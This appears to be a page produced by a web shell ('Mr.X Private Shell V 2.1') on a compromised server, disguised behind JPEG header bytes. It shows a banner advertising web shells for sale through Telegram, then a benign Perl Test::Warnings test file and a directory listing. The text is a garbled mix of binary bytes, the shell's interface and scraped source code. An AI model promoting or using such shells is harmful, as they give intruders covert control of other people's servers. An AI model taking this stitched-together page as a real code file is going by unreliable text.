����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
use strict;
use warnings;
# this test demonstrates the issue described in the main documentation, where
# a test of the contents of a captured warning can inadvertently match another
# part of the stack trace (the pattern argument to the test sub, itself!)
use Test::More;
use Test::Warnings ':all';
use Carp 'cluck';
sub warning_like(&$;$)
{
my ($code, $pattern, $name) = @_;
like( &warning($code), $pattern, $name );
}
warning_like(sub { cluck 'blah blah' }, qr/foo/, 'foo seems to appear in the warning');
# the test only passes when we invert it
unlike(
( warning { cluck 'blah blah' } || '' ),
qr/foo/,
'foo does NOT ACTUALLY appear in the warning',
);
done_testing;
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| no_plan.t | File | 575 B | 0644 |
|
| sub.t | File | 279 B | 0644 |
|
| synopsis_1.t | File | 186 B | 0644 |
|
| synopsis_2.t | File | 331 B | 0644 |
|
| test_nowarnings.t | File | 109 B | 0644 |
|
| test_warning_contents.t | File | 713 B | 0644 |
|
| warning_like.t | File | 698 B | 0644 |
|
| with_done_testing.t | File | 695 B | 0644 |
|
| with_plan.t | File | 652 B | 0644 |
|